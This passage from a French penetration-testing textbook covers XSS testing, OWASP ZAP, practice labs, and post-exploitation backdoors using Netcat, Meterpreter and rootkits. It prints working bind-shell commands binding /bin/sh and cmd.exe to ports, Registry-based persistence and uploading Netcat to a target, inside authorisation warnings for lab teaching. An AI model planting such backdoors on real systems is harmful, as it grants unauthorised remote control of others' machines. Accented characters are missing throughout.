une fentre dalerte JavaScript saffiche. La Figure 6.10 montre un
exemple de page web qui propose lutilisateur douvrir une session en
saisissant son nom et son mot de passe dans les champs fournis.
Figure 6.10
Exemple de champs de saisie sur une page web classique.
Toutefois, comme nous lavons indiqu, au lieu de saisir un nom
dutilisateur et un mot de passe normaux, linternaute va entrer le script
de test. La Figure 6.11 illustre la saisie du test XSS avant la soumission du
formulaire.
Figure 6.11
Saisie du code de test XSS.
Aprs que le script a t saisi, nous pouvons cliquer sur le bouton
Connexion. Si lapplication web est vulnrable aux attaques XSS, le script
va tre excut et une fentre dalerte JavaScript affichant le message
"Test XSS" doit apparatre sur la machine du client. Cela indique le
succs du test. La Figure 6.12 montre le rsultat de notre test et prouve
que lapplication est vulnrable aux attaques XSS.
Figure 6.12
Succs du test XSS !
Tout comme il existe plusieurs vecteurs dattaque XSS, lattaque elle-
mme existe en plusieurs variantes. Puisque nous nous focalisons sur les
bases, nous allons tudier deux exemples : XSS rflchi et XSS stock.
La faille XSS rflchi (ou non permanent) existe lorsquun script
malveillant est envoy partir de la machine client vers un serveur
vulnrable. Le serveur vulnrable renvoie alors le script linternaute.
Dans ce cas, la charge (le script) est excute immdiatement. La
procdure se passe en une seule rponse/requte. Ces attaques ne sont
pas persistantes. Par consquent, lURL malveillante doit tre envoye
lutilisateur par courrier lectronique, messagerie instantane ou autre,
afin que lattaque soit dclenche depuis son navigateur. Elle a des airs
dhameonnage.
Dans certains cas, le script malveillant peut tre enregistr directement
sur le serveur vulnrable. Lattaque est alors appele XSS stock.
Puisque le script est plac sur le serveur, il est excut par chaque
utilisateur qui accde lapplication web. Dans les attaques de ce type, la
charge elle-mme (le script malveillant ou lURL malforme) est oublie
et excute ultrieurement. En gnral, le script est plac dans une base
de donnes ou une applet. Lattaque XSS stock na pas le ct
hameonnage de lattaque XSS rflchi. Cela aide sa lgitimit.
Nous lavons mentionn, les attaques XSS sont trs pratiques. Mme si
nous navons prsent que les plus simples, cela ne doit pas vous
dcourager den apprendre plus sur leur vritable puissance. Pour
matriser ces attaques, vous devez comprendre comment les exploiter
pour dtourner des sessions avec la cible et pour envoyer dautres
charges. Lorsque vous matriserez les attaques XSS rflchi et stock,
vous pourrez passer aux attaques XSS fondes sur le DOM.
Zed Attack Proxy
Nous avons dj dcrit plusieurs frameworks qui vont nous aider dans
notre hacking web. Mais, avant de clore ce chapitre, prenons le temps de
prsenter Zed Attack Proxy (ZAP) dOWASP (Open Web Application
Security Project), car cette bote outils complte pour le hacking web
propose les trois principaux lments de fonctionnalits cits au dbut du
chapitre : proxy dinterception, robot dindexation et scanner de
vulnrabilits. ZAP est totalement gratuit et prinstall sur Kali. Pour le
lancer, vous pouvez passer par le menu Applications > Kali Linux >
Applications Web > Identification de Vulnrabilit des Web > zaproxy
ou excuter la commande suivante depuis un terminal :
zap
Avant dutiliser ZAP, le navigateur doit tre configur de faon utiliser
un proxy. Nous avons expliqu comment procder la section
"Indexation web". Notez cependant que le numro de port doit tre dans
ce cas 8080 et non pas 8008 (voir Figure 6.13).
Figure 6.13
Configurer Iceweasel de faon passer par le proxy de ZAP.
Aprs que les paramtres du proxy ont t configurs dans le navigateur
et aprs que ZAP a t dmarr, la navigation sur le Web avec
Iceweasel va tre consigne dans longlet Sites de ZAP. Nous pouvons
dvelopper chaque URL afin de connatre les rpertoires et les pages qui
ont t visits directement ou qui ont t touchs par ZAP. La Figure 6.14
montre nos visites sur les sites www.dsu.edu, www.france2.fr,
www.google.fr et dautres.
Figure 6.14
Longlet Sites de ZAP rvle les sites web qui ont t visits au travers du
proxy.
Interception dans ZAP
Linterception des requtes et la modification des variables avant quelles
narrivent sur le site web doivent tre les premires actions envisager
dans le cadre du hacking web. Puisque les variables envoyes avec les
requtes de linternaute sont au cur du fonctionnement du Web actuel,
il est important de vrifier si le site web gre de faon scurise ces
informations. Pour cela, il suffit de construire des requtes qui rpondent
aux questions suivantes :
Comment ragit le site web si jessaie de commander -5
tlviseurs ?
Comment ragit le site web si jessaie de commander
49 euros un tlviseur qui est vendu 2 000 euros ?
Comment ragit le site web si jessaie douvrir une session
sans envoyer les variables pour le nom dutilisateur et le mot
de passe ? (Non pas fournir un nom dutilisateur et un mot de
passe vides, mais rellement ne pas envoyer ces deux
variables que le site web attend certainement.)
Comment ragit le site web si jutilise un cookie (identifiant
de session) dun autre utilisateur dj connect ?
Comment ragit le site web toute autre proposition invalide
que je peux imaginer ?
Le point essentiel est que nous disposons dun contrle total sur ce qui est
envoy au site web lorsque nous utilisons un proxy pour intercepter les
requtes effectues par le navigateur. Dans ZAP, linterception peut se
faire laide de points darrt. Nous pouvons poser des points darrt sur
les requtes qui sortent du navigateur afin que nous puissions changer les
valeurs des variables envoyes lapplication. Nous pouvons galement
dfinir des points darrt sur les rponses qui reviennent du site web afin
de les manipuler avant quelles ne soient traites par le navigateur. Pour
commencer, il suffit gnralement de dfinir des points darrt sur les
requtes sortantes. Pour cela, nous cliquons sur les flches vertes qui se
trouvent sous la barre de menu de ZAP (voir Figure 6.15).
Figure 6.15
Les boutons pour fixer des points darrt sur les requtes.
La flche verte oriente vers la droite dfinit un point darrt sur toutes
les requtes sortantes. Elles seront alors interceptes et prtes tre
modifies. Il est moins frquent de vouloir intercepter les rponses
retournes par le site web. Toutefois, si nous le souhaitons, il suffit de
cliquer sur la flche verte oriente vers la gauche. Aprs que nous avons
activ les points darrt sur les requtes sortantes, la flche
correspondante devient rouge et la requte mise par le navigateur est
affiche dans longlet Pause (voir Figure 6.16).
Figure 6.16
Interception dune requte envoye google.fr. La variable de recherche
peut tre modifie.
videmment, modifier le terme soumis une recherche avec Google na
rien de vraiment malveillant, mais cela montre combien il est facile de
manipuler les variables. Imaginez que le site tait celui dune banque et
que vous puissiez intervenir sur les numros de comptes dans les
oprations de virement !
Indexation dans ZAP
Un robot dindexation permet de trouver toutes les pages disponibles.
Cela a pour avantage de nous offrir une surface dattaque plus
importante et donc daugmenter les possibilits de trouver une faille
exploitable laide dun scanner de vulnrabilits web automatique.
Avec ZAP, lindexation se fait trs facilement. Elle commence avec
lURL que nous souhaitons indexer, ou par un rpertoire dans cette URL.
Profitons-en pour rappeler que vous ne devez pas indexer un site web
sans disposer dune autorisation explicite. Aprs que nous avons identifi
lURL ou le rpertoire cible dans longlet Sites, nous devons simplement
cliquer du bouton droit dessus de faon afficher le menu Attaquer de
ZAP (voir Figure 6.17).
Figure 6.17
Le menu Attaquer de ZAP.
Vous le constatez, le scan et lindexation sont disponibles dans ce menu.
Tout cela est trs simple : il suffit de trouver lURL, le rpertoire ou la
page attaquer et demander ZAP de faire son travail. Nous
slectionnons Spider site dans le menu. Longlet Spider affiche les pages
dcouvertes, ainsi quune barre de progression du robot.
Scan dans ZAP
Lorsque le robot dindexation a termin son travail, ltape suivante
consiste utiliser le scanner de vulnrabilits afin de lancer des sondes
sur le site web slectionn. Un scanner web quivaut Nessus charg
avec les signatures des vulnrabilits connues. Les rsultats du scanner se
limitent donc aux possibilits offertes par les signatures incluses.
En choisissant Scan actif du site dans le menu Attaquer, ZAP envoie des
centaines de requtes au site web slectionn. Il analyse les rponses
renvoyes par le site la recherche dindices de vulnrabilits. Il est
important de comprendre cet aspect du scan web : le scanner ne tente pas
dexploiter le site web mais lui envoie des centaines de requtes
malveillantes et analyse les rponses de faon y dcouvrir des indices
de vulnrabilits. Lorsquune page montre une vulnrabilit, par exemple
une injection SQL pour louverture de session, nous pouvons nous servir
du proxy dinterception pour forger une requte malveillante sur cette
page, en dfinissant les variables qui permettent de mener bien
lexploit !
ZAP propose galement une fonction de scan passif. Il nenvoie pas des
centaines de requtes mais recherche dans les rponses reues par le
navigateur au cours dune navigation normale les mmes vulnrabilits
quun scan actif. Lide est de naviguer sur le site de faon normale et
dy rechercher des vulnrabilits, en minimisant les risques dtre
dcouvert en raison dune activit suspecte, comme lenvoi rapide de
nombreuses requtes.
Tous les rsultats du scan arrivent dans longlet Alertes. Le rapport
complet des dcouvertes du scanner de ZAP peut tre export au format
HTML ou XML au travers du menu Rapport.
Mettre en pratique cette phase
Nous lavons mentionn au dbut de ce chapitre, il est important
dapprendre matriser les bases de lexploitation web. Cependant, il
peut tre difficile de trouver des sites vulnrables sur lesquels vous tes
autoris mener ces attaques. Heureusement, les membres de
lorganisation OWASP ont dvelopp une plateforme vulnrable afin que
nous puissions apprendre et mettre en pratique les attaques de type web.
Ce projet, nomm WebGoat, est un serveur web intentionnellement mal
configur et vulnrable.
WebGoat a t dvelopp en J2EE, ce qui nous permet de lexcuter sur
nimporte quel systme qui dispose dun environnement dexcution Java.
WebGoat sarticule autour dune trentaine de leons individuelles, qui
forment un environnement dapprentissage raliste fond sur des
scnarios. La plupart des leons ont pour objectif deffectuer une attaque
prcise, comme utiliser linjection SQL pour contourner
lauthentification. Elle prodigue chacune des conseils pour atteindre plus
facilement lobjectif. Mais, comme pour nimporte quel exercice base
de scnario, il est important de travailler dur et de rechercher soi-mme
la rponse avant de consulter laide.
Si vous utilisez des machines virtuelles dans votre laboratoire de hacking,
vous devrez tlcharger WebGoat et linstaller dans une machine
virtuelle. Il est compatible avec Linux et Windows, pour peu que Java
(JRE) soit au pralable install sur le systme.
WebGoat est disponible sur le site web officiel dOWASP, ladresse
http://www.owasp.org/. Pour extraire le contenu du fichier tlcharg,
vous aurez besoin de 7zip ou de tout autre programme qui prend en
charge les fichiers .7z. Extrayez le contenu de larchive et notez
lemplacement du dossier de WebGoat. Si vous employez un systme
Windows, allez dans ce dossier et excutez le fichier webgoat_8080.bat
en double-cliquant dessus. Une fentre dinvite de commande saffiche
et vous devez la laisser ouverte pour que WebGoat fonctionne
correctement. Si vous voulez accder WebGoat partir de la machine
sur laquelle il sexcute, lancez votre navigateur et ouvrez lURL
http://127.0.0.1:8080/webgoat/attack. Si tout se passe correctement, vous
arrivez une invite douverture de session. Le nom dutilisateur et le mot
de passe sont tous deux "guest".
Lisez le fichier README.txt, en prtant attention aux avertissements.
Plus prcisment, vous devez comprendre quil est extrmement
dangereux dexcuter WebGoat en dehors dun laboratoire, car votre
systme devient vulnrable aux attaques. Faites toujours preuve de
prudence et excutez WebGoat uniquement dans un environnement
correctement isol.
Vous pouvez galement tlcharger Damn Vulnerable Web App partir
de ladresse http://www.dvwa.co.uk/ et linstaller. DVWA est une autre
application volontairement non scurise qui utilise PHP et MySQL pour
offrir un environnement de test.
Et ensuite
Nous lavons soulign plusieurs reprises, il va sans dire que ce vecteur
dattaque va continuer se dvelopper. Ds que vous matrisez les bases
prsentes dans ce chapitre, vous devez tendre vos connaissances en
tudiant des sujets plus labors du hacking des applications web,
notamment les attaques ct client, la gestion de session et laudit du code
source. Si vous ne savez pas quels sujets aborder et souhaitez rester en
phase avec les nouveauts des attaques web, consultez la page "Top 10"
des projets OWASP. Il sagit dune liste officielle des principales
menaces web tablies par les chercheurs et experts en scurit.
Si vous souhaitez en savoir plus sur le hacking web, consultez louvrage
The Basics of Web Hacking: Tools and Techniques to Attack the Web, par
Dr. Josh Pauli. Il constituera une suite parfaite de ce chapitre.
Ressources supplmentaires
Quand on sintresse la scurit web, il est difficile de ne pas
mentionner OWASP. Nous lavons indiqu prcdemment, la liste des dix
principaux projets OWASP constitue un bon point de dpart. Elle est
disponible sur le site web http://www.owasp.org, mais vous pouvez
galement effectuer une recherche sur Google avec les termes "OWASP
Top Ten". Vous devez surveiller cette liste, car elle est continuellement
mise jour et volue en fonction des tendances, des risques et des
menaces.
Soulignons que loutil WebSecurify dcrit prcdemment dans ce
chapitre est capable de tester automatiquement toutes les catgories de
menaces recenses dans la liste OWASP Top Ten Projects !
Puisque nous en sommes citer OWASP et que ses membres fournissent
un outil fantastique pour lapprentissage de la scurit des applications
web, vous aurez tout intrt rejoindre cet organisme. Aprs que vous
vous serez inscrit, vous aurez plusieurs manires de vous impliquer dans
les diffrents projets et de dvelopper vos connaissances en scurit web.
Outre le projet WebScarab, vous devez vous faire la main avec les autres
proxies web. Burp Proxy et Paros Proxy sont deux excellents outils
gratuits pour linterception des requtes, la modification des donnes et
lindexation des sites web.
Enfin, tout testeur dintrusion web devra se familiariser avec plusieurs
autres outils. Lun de mes collgues et amis est un expert en intrusion
dans les applications web et il ne jure que par Burp Suite. son avis, il
sagit du meilleur outil de test des applications disponibles aujourdhui.
Jai tudi de nombreux outils daudit web et il est vrai que Burp est
excellent. Une version gratuite est fournie avec Kali. Elle est accessible
via le menu Applications > Kali Linux > Applications Web >
Procurations des WebApp > burpsuite. Si vous nutilisez pas Kali, la
version gratuite de Burp peut tre tlcharge partir du site web de la
socit, ladresse http://portswigger.net/burp/download.html.
En rsum
Puisque le Web devient de plus en plus "excutable" et que quasiment
chaque cible est prsente sur le Web, ce chapitre sest intress
lexploitation web. Nous avons commenc par une vue densemble des
attaques web de base et par une prsentation des techniques et des outils
dinterrogation des serveurs web. Nous avons employ Nikto et w3af
pour la localisation de vulnrabilits prcises sur un serveur web.
Lexploration du site web cible afin de connatre ses rpertoires et
fichiers a t illustre au travers dun robot dindexation. Linterception
des requtes envoyes un site web a t dcrite laide de loutil
WebScarab. Les attaques par injection de code, qui constituent une
menace srieuse sur la scurit web, ont t prsentes. Plus
prcisment, nous avons tabli les bases de linjection SQL. Nous avons
ensuite prsent XSS (cross-site scripting) et en avons donn un exemple.
Enfin, nous avons abord ZAP, un outil unique pour mener un scan et des
attaques web.
7
Postexploitation et maintien daccs
Introduction
Maintenir laccs au systme distant est une activit dlicate qui doit tre
prsente et clairement explique au client. De nombreuses entreprises
souhaitent que le testeur dintrusion achve son travail mais craignent de
lautoriser faire usage de portes drobes. Elles ont peur que ces accs
clandestins soient dcouverts et exploits par un tiers non autoris.
Imaginez que vous soyez le directeur informatique dune entreprise.
Pensez-vous que vous dormiriez sur vos deux oreilles en sachant quil
existe une porte drobe ouverte au sein de votre rseau ? Noubliez pas
que le client fixe la fois ltendue et les autorisations du test dintrusion.
Vous devrez prendre le temps dexpliquer et de discuter de cette phase
avant daller plus loin.
Il peut arriver que lon vous demande de mener un test dintrusion qui
implique lutilisation dune porte drobe. Que ce soit pour fournir une
preuve du concept ou simplement pour crer un scnario raliste dans
lequel lassaillant peut revenir sur la cible, il est important de comprendre
les bases de cette phase. Les portes drobes rutilisables ouvertes en
permanence sur les systmes sont le meilleur ami de lassaillant
malveillant. Autrefois, les hackers se contentaient dattaques de type
cambriolage. Autrement dit, ils pntraient sur un serveur, volaient les
donnes et senfuyaient. Aujourdhui, il est clair que les assaillants visent
plus le long terme et sintressent aux accs permanents des systmes et
des rseaux cibles. Cest pourquoi, si vous devez simuler les actions
dun black hat dtermin et comptent, il est important que vous
compreniez cette phase.
En bref, une porte drobe est un logiciel qui rside sur lordinateur cible
et qui permet lassaillant de revenir (se connecter) la machine tout
moment. Dans la plupart des cas, la porte drobe est un processus cach
qui sexcute sur la machine cible et qui permet un utilisateur
normalement non autoris de la contrler.
Il faut savoir que la plupart des exploits sont phmres. Ils fonctionnent
et donnent un accs uniquement tant que le programme qui a t exploit
sexcute. En gnral, aprs que la machine cible a redmarr ou que le
processus exploit a t stopp, le shell dorigine (accs distant) est
perdu. Par consquent, aprs avoir obtenu un accs un systme, lune
des premires actions consiste dplacer le shell vers un endroit plus
permanent. Cela passe souvent par lutilisation de portes drobes.
Plus loin dans ce chapitre, nous prsenterons les rootkits. Il sagit dune
sorte de logiciels particuliers qui ont la capacit de senfouir
profondment dans le systme dexploitation et de raliser diffrentes
tches, comme donner au hacker la possibilit de masquer totalement des
processus et des programmes.
la fin de ce chapitre, nous conclurons par une prsentation de lune des
charges dexploitation les plus populaires et les plus puissantes de
Metasploit, le shell Meterpreter. Savoir utiliser et exploiter Meterpreter
sera indispensable pour la postexploitation.
Netcat
Netcat est un outil incroyablement simple et souple qui permet aux
communications et au trafic rseau de passer dune machine une autre.
Sa flexibilit en fait un excellent candidat pour la mise en place dune
porte drobe, mais cet outil a des dizaines dautres utilisations. Il peut
servir transfrer des fichiers entre des machines, raliser des scans
de ports, mettre en place un systme de communication lger pour des
conversations instantanes et mme proposer un serveur web simple.
Dans cette section, nous prsentons les bases, mais vous devrez passer du
temps exprimenter et jouer avec Netcat. Vous serez tonn des
possibilits de cet outil. Ce nest pas sans raison quil est considr
comme le couteau suisse du TCP/IP.
Netcat a t initialement dvelopp par Hobbit en 1996. Il prend en
charge lenvoi et la rception dun trafic TCP et UDP. Il peut oprer en
tant que client ou serveur. Lorsquil joue le rle de client, Netcat peut
tre utilis pour crer une connexion rseau avec un autre service (y
compris une autre instance de Netcat). Il est important de ne pas oublier
que Netcat est capable de se connecter partir de nimporte quel port de
la machine locale sur nimporte quel port de la machine cible. Lorsquil
fonctionne en mode serveur, il agit en couteur qui attend une connexion
entrante.
Attention
Pour suivre lexemple donn dans cette section, Netcat doit tre install
sur au moins deux machines virtuelles. La premire instance doit se
trouver sur la machine de lassaillant, la seconde, sur la cible/victime.
Netcat est dj install sur Kali et Metasploitable. Si vous navez pas
encore compromis la machine virtuelle Metasploitable, vous devrez peut-
tre commencer par installer Netcat sur votre cible Windows. Plus loin
dans ce chapitre, nous expliquerons comment excuter des commandes
distance, mais, pour le moment, elles seront saisies sur chaque terminal
local.
Commenons par un exemple trs simple dutilisation de Netcat. Nous le
configurons de faon servir de canal de communication entre deux
machines. Pour sa mise en place sur la machine cible/victime, nous
devons simplement choisir un port et lui indiquer doprer en mode
coute. En supposant que la cible soit une machine Linux, excutez la
commande suivante depuis un terminal :
nc -l -p 1337
nc sert videmment lancer le programme Netcat. Loption -l le place en
mode coute. Loption -p permet de prciser le numro de port sur lequel
Netcat doit couter. Aprs lexcution de la commande, Netcat sexcute
et attend quune demande de connexion entrante soit effectue sur le port
1337.
prsent que Netcat coute sur la machine cible, nous pouvons aller sur
la machine dattaque. Pour tablir une connexion avec la machine cible,
excutez la commande suivante :
nc 192.168.56.102 1337
Netcat tente alors de se connecter au port 1337 de la machine dont
ladresse IP est 192.168.56.102. Puisque nous avons configur la
premire machine pour quelle coute sur ce port, les deux PC doivent
prsent tre en mesure de communiquer. Pour le tester, il suffit de saisir
du texte dans lune des deux fentres de terminal. En effet, le clavier
reprsente lentre standard et Netcat transmet simplement les donnes
saisies sur la connexion.
Pour terminer la "discussion" et fermer la session, il suffit dappuyer sur
les touches Ctrl+C ; la connexion Netcat est alors interrompue. La
Figure 7.1 illustre ce type dchange entre deux ordinateurs.
Figure 7.1
Communiquer entre deux ordinateurs avec Netcat.
Lorsque nous tuons ou fermons la connexion Netcat, nous devons
redmarrer le serveur sur la machine cible avant de pouvoir tablir une
autre connexion. Il est peu efficace de retourner systmatiquement sur la
machine cible pour relancer Netcat. Heureusement, avec la version
Windows de Netcat, nous avons une solution pour viter ce problme.
Lors de son lancement en mode coute, nous pouvons remplacer loption
-l par loption -L afin que la connexion reste ouverte sur le port indiqu,
mme aprs la dconnexion du client. En quelque sorte, le programme
devient persistant. videmment, pour quil soit rellement persistant, il
faut que la commande sexcute chaque fois que la machine dmarre.
Dans le cas dun ordinateur Windows, il suffit dajouter le programme
Netcat la ruche
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run
Malheureusement, tablir une connexion rseau persistante avec la
version Linux de Netcat nest pas aussi simple. Nous devons crire un
petit script bash qui force le redmarrage de Netcat lorsque la connexion
est ferme. Si cette possibilit vous intresse, vous trouverez de
nombreux exemples sur Internet.
Bien que lexemple prcdent soit une utilisation intressante de Netcat et
quil illustre la souplesse et la puissance de loutil, vous nutiliserez
probablement jamais cette fonction de discussion lors dun test
dintrusion. En revanche, aprs que Netcat a t envoy sur le systme
cible, ses autres possibilits vont se rvler trs pratiques. Examinons par
exemple le transfert de fichiers.
Lorsquun shell Meterpreter est en cours dexcution, le transfert de
fichiers entre les ordinateurs na rien de compliqu, mais, ne loubliez
pas, nous ne voulons pas exploiter la cible en permanence. Lobjectif est
de lexploiter une fois et dy installer une porte drobe afin de pouvoir y
revenir ultrieurement. Si nous avons tlcharg Netcat sur la cible, nous
pouvons nous en servir pour changer des fichiers au travers du rseau.
Supposons que nous voulions envoyer un nouveau fichier depuis notre
machine dattaque vers la machine cible. Sur celle-ci, il suffit dexcuter
la commande suivante :
nc -l -p 7777 > virus.exe
Elle place Netcat en attente dune connexion entrante sur le port 7777 et
toute donne reue sera enregistre dans un fichier nomm virus.exe.
Sur la machine locale, nous utilisons Netcat pour tablir une connexion
avec la cible et indiquons le fichier lui envoyer. Ce fichier peut tre de
nimporte quel type, avec nimporte quelle extension (.exe, .doc, .pdf,
.bat, .com, .iso, etc.). Dans notre exemple, nous envoyons un fichier
nomm virus.exe. Votre systme ne disposera probablement pas de ce
fichier, mais vous pouvez le remplacer par nimporte quel fichier ou
document de votre machine dattaque que vous souhaitez envoyer la
victime. La procdure commence par lexcution de la commande
suivante :
nc 192.168.56.102 7777 < virus.exe
Par dfaut, Netcat naffiche aucune information qui nous permet de
savoir que le transfert est achev. Puisque nous ne recevons aucune
indication, il est prfrable dattendre quelques secondes et dappuyer
ensuite sur Ctrl+C pour fermer la connexion. ce stade, nous pouvons
excuter la commande ls sur la machine cible et voir le nouveau fichier
cr. La Figure 7.2 illustre la procdure.
Figure 7.2
Transfrer des fichiers avec Netcat.
En inversant les commandes prcdentes, nous pouvons videmment
tablir une connexion Netcat de faon extraire des fichiers depuis la
machine cible.
Au cours dun test dintrusion, vous dcouvrirez souvent des ports ouverts
qui apportent peu ou pas dinformations supplmentaires. Vous risquez de
rencontrer des cas o Nmap et Nessus sont incapables didentifier le
service qui utilise le port. Dans ce cas, il peut tre intressant dutiliser
Netcat pour se connecter en aveugle sur ce port. Lorsque la connexion
est tablie, il suffit de frapper sur les touches du clavier pour envoyer des
donnes au port. Dans certains cas, cela dclenchera une rponse du
service qui permettra peut-tre didentifier ce dernier. Prenons un
exemple.
Supposons que nous menions un test dintrusion sur un serveur cible dont
ladresse IP est 192.168.56.102. Au cours du scan, nous dcouvrons que
le port 50001 est ouvert. Malheureusement, aucun scanner de ports ou de
vulnrabilits nest en mesure de dterminer le service qui coute sur ce
port. Nous pouvons alors utiliser Netcat pour interagir avec ce service
inconnu. Il suffit dexcuter la commande suivante :
nc 192.168.56.102 50001
Elle tente de crer une connexion TCP sur le port et le service. Si le
service se fonde sur UDP, il faudra ajouter loption -u pour indiquer
Netcat denvoyer des paquets UDP. Une fois la connexion tablie, il
suffit gnralement de saisir du texte et dappuyer sur la touche Entre
pour lenvoyer au service. Si celui-ci rpond une requte inattendue,
nous pouvons parfois en dduire sa fonction. La Figure 7.3 illustre un
exemple.
Figure 7.3
Interroger un service inconnu avec Netcat.
Nous avons utilis Netcat pour nous connecter au port 50001. Ds la
connexion tablie, nous avons saisi le mot "test", qui a t envoy au
service cible. La rponse que celui-ci a renvoye montre clairement quil
sagit dun serveur web. Mieux encore, il sest intgralement identifi :
serveur web Apache en version 2.2.8 sur une machine Ubuntu Linux ! Si
vous souhaitez tester cet exemple avec une machine virtuelle
Metasploitable par dfaut, connectez-vous au port 80.
Enfin, nous pouvons employer Netcat pour le lier un processus et
rendre celui-ci disponible au travers dune connexion distance. Cela
nous permet dinteragir avec le programme li comme si nous tions
devant la machine cible elle-mme. Nous lanons Netcat avec loption -e
en indiquant le programme excuter. Ce programme sera lanc sur la
machine cible et sexcutera uniquement lorsquune connexion sera
tablie. Loption -e est incroyablement puissante et trs utile pour mettre
en place sur la cible un shell accessible via une porte drobe.
Pour crer la porte drobe, nous utilisons loption -e de sorte quun shell
soit li un numro de port de la machine cible. En configurant Netcat
ainsi, nous dclencherons lexcution du programme pass avec loption
-e simplement en nous connectant la cible. Voici la commande
excuter sur une machine Linux :
nc -l -p 12345 e /bin/sh
La cible va alors fournir un shell quiconque se connecte au port 12345.
nouveau, les commandes envoyes depuis le client Netcat (la machine
dattaque) vers la machine cible seront excutes localement comme si
lassaillant tait physiquement assis devant la cible.
Cette technique peut galement tre employe sur une machine
Windows. Dans ce cas, voici la commande excuter :
nc.exe L p 12345 c:\Windows\System32\cmd.exe
Attention
Puisquil sagit dune machine Windows, nous utilisons loption -L afin de
rendre la connexion persistante. Mme si nous fermons la connexion sur
notre machine, Netcat continue couter sur le port indiqu. Lors de la
prochaine connexion la machine cible, le shell cmd est excut pour
nous.
Plaons lexemple prcdent dans un contexte en esprant le rendre plus
concret. Pour cela, voyons comment mettre en place une porte drobe
avec Netcat. Le scnario est le suivant. Supposons que nous ayons russi
exploiter une cible Windows. Puisque nous sommes des testeurs
dintrusion qui rflchissent sur le long terme, nous dcidons de crer une
porte drobe plus stable sur ce systme afin de pouvoir y revenir
ultrieurement. Nous choisissons donc dutiliser Netcat pour la porte
drobe.
La premire opration consiste envoyer Netcat sur la machine cible ;
dans cet exemple, lexcutable de Netcat a t plac dans le rpertoire
System32 de la cible. Supposons que nous ayons profit de nos
connaissances acquises au Chapitre 4 et que nous utilisions le shell
Meterpreter pour interagir avec la cible. Ds lors, nous pouvons envoyer
le fichier de Netcat sur la victime en excutant la commande suivante :
meterpreter > upload nc.exe c:\\windows\\system32
Attention bien envoyer la version Windows (.exe) de Netcat car la
cible utilise ce systme dexploitation.
Nous avons donc transfr le programme nc.exe dans le rpertoire
Windows\System32. Cela nous permet daccder directement au
programme cmd.exe. Nous devons ensuite choisir un numro de port, y
lier le programme cmd.exe et lancer Netcat en mode serveur. De cette
manire, Netcat va attendre une connexion entrante sur le port indiqu.
Pour raliser toutes ces oprations, nous excutons la commande suivante
depuis un terminal (de nouveau, nous supposons que nous sommes dans le
mme rpertoire que Netcat) :
meterpreter > nc L p 5777 e cmd.exe
ce stade, Netcat doit tre en cours dexcution sur la machine cible. Si
vous voulez que la porte drobe soit vritablement persistante, avec la
possibilit de survivre un redmarrage, la commande Netcat
prcdente doit tre place dans le Registre de Windows afin de
dmarrer automatiquement.
Puisque Netcat est configur, nous pouvons fermer notre shell
Meterpreter et tablir une connexion avec la cible en utilisant Netcat.
prsent, vous ne devriez plus avoir aucun doute quant la puissance et
la flexibilit de Netcat. Et, pourtant, dans cette section nous navons fait
quaborder ses possibilits. Si vous prenez le temps de vous plonger dans
cet outil, vous constaterez que certaines personnes ont t en mesure de
raliser des choses rellement surprenantes. Nous vous encourageons
tudier ces mises en uvre astucieuses en effectuant des recherches sur
le Web.
Cryptcat
Netcat montre des qualits exceptionnelles, mais le programme prsente
quelques limitations. En particulier, il faut bien comprendre que le trafic
qui passe entre un client et un serveur Netcat se fait en clair. Autrement
dit, quiconque examine le trafic ou coute la connexion pourra tout savoir
des informations transmises entre les machines. Cryptcat a t dvelopp
pour traiter ce problme. Il se fonde sur un chiffrement twofish pour que
le trafic chang entre le client et le serveur reste confidentiel.
La beaut de Cryptcat rside dans le fait que nous navons aucune
nouvelle commande apprendre. Si nous matrisons dj Netcat, alors,
nous matrisons Cryptcat ; avec lavantage de transfrer les donnes au
travers dun canal chiffr. La personne qui couterait ou analyserait le
trafic rseau ne serait pas en mesure de dterminer les informations qui
transitent entre le client et le serveur.
Avant demployer Cryptcat, il ne faut surtout pas oublier de changer la
cl par dfaut, metallica, avec loption -k. Dans le cas contraire, tout le
monde sera en mesure de dchiffrer les sessions.
Pour mettre en place un canal chiffr entre deux machines laide de
Cryptcat, dmarrez le serveur laide de la commande suivante :
cryptcat l p 5757
Voici la commande excuter pour lancer le client :
cryptcat 192.168.56.102 5757
Rootkits
Lorsque lon est confront pour la premire fois la puissance et
lingniosit des rootkits, ltonnement est habituellement de mise. Pour le
non-initi, les rootkits sont comparables de la magie noire. Ils sont
souvent simples installer et peuvent donner des rsultats incroyables.
Lexcution dun rootkit donne la possibilit de masquer des fichiers, des
processus et des programmes comme sils navaient jamais t installs
sur lordinateur. Ils peuvent servir masquer des fichiers aux yeux des
utilisateurs, comme ceux du systme dexploitation lui-mme.
Les rootkits sont si efficaces quils chappent souvent aux logiciels
antivirus mme les mieux configurs. Le terme rootkit drive du mot
"root", comme dans un accs de niveau root ou administrateur, et du mot
"kit", comme une collection doutils fournis par un paquetage logiciel.
Attention
Comme toujours, et plus encore dans ce cas, vous devez tre certain
100 % que votre client vous autorise employer des rootkits avant de les
dployer au cours du test dintrusion. La mise en place dun rootkit sans
autorisation est une bonne manire de mettre rapidement fin votre
carrire et de vous retrouver derrire des barreaux. Mme si vous avez
t pleinement autoris mener un test dintrusion, vrifiez
minutieusement que vous tes explicitement autoris employer un
rootkit.
Nous lavons mentionn prcdemment, les rootkits sont extrmement
discrets. Ils peuvent tre employs diffrents objectifs, notamment
laugmentation des privilges, lenregistrement des frappes au clavier,
linstallation des portes drobes et dautres tches nfastes. De
nombreux rootkits chappent la dtection car ils oprent depuis
lintrieur du noyau, cest--dire un niveau infrieur au systme
dexploitation lui-mme. Les logiciels avec lesquels les utilisateurs
interagissent gnralement se trouvent un niveau suprieur du systme.
Lorsque des outils, comme les antivirus, doivent effectuer une opration,
ils transmettent souvent cette requte aux couches infrieures du systme.
Puisque les rootkits se trouvent au plus profond du systme dexploitation,
ils peuvent intercepter ces diffrents appels entre les logiciels et le
systme.
En interceptant les demandes dun logiciel, le rootkit est capable de
modifier la rponse. Prenons un exemple. Supposons que nous voulions
connatre les processus qui sexcutent sur une machine Windows. Pour
cela, nous appuyons sur les touches Ctrl+Alt+Del. Nous choisissons de
lancer le Gestionnaire des tches afin de visualiser les processus et les
services en cours dexcution. En gnral, les personnes examinent la
liste des processus et sen satisfont.
Bien que notre explication soit trs simplifie, elle doit vous aider
comprendre les bases. Le Gestionnaire des tches effectue un appel au
systme dexploitation pour lui demander la liste des processus et des
services en cours dexcution. Le systme collecte tous les programmes
en excution dont il a connaissance et retourne la liste. Cependant, si nous
ajoutons un rootkit, les choses se compliquent lgrement. Puisquun
rootkit a la possibilit dintercepter et de modifier les rponses renvoyes
